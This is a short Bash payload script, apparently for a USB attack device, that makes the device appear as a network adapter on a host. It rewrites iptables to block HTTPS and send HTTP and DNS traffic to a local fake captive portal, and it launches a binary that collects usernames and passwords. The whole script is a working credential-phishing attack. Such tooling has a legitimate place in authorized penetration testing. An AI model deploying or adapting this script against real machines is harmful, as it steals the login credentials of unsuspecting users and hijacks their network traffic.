#!/bin/bash
#
# Title:         Captiveportal
# Author:        Sebkinne
# Version:       1.0

# Add or remove inputs here
INPUTS=(username password)

# Enable Ethernet (RNDIS = Windows, ECM = mac/*nix)
ATTACKMODE RNDIS_ETHERNET
#ATTACKMODE ECM_ETHERNET

##################################################################
#                  DO NOT EDIT BELOW THIS LINE                   #
##################################################################

# Sets up iptable forwarding and filters
function setupNetworking() {
    echo 1 > /proc/sys/net/ipv4/ip_forward
    iptables -A INPUT -i usb0 -p udp --dport 53 -j ACCEPT
    iptables -A INPUT -i usb0 -p tcp --dport 443 -j DROP
    iptables -t nat -A PREROUTING -i usb0 -p tcp --dport 80 -j DNAT  --to-destination  172.16.64.1:8080
    iptables -t nat -A PREROUTING -i usb0 -p udp --dport 53 -j DNAT  --to-destination  172.16.64.1:53
    iptables -t nat -A POSTROUTING -j MASQUERADE
}

# Find payload directory and execute payload
function startCaptiveportal() {
    cd $(dirname $(find /root/udisk/payloads/ -name portal.html))
    chmod +x captiveportal
    ./captiveportal ${INPUTS[@]}
}

LED G 200
setupNetworking
startCaptiveportal &
LED B 0
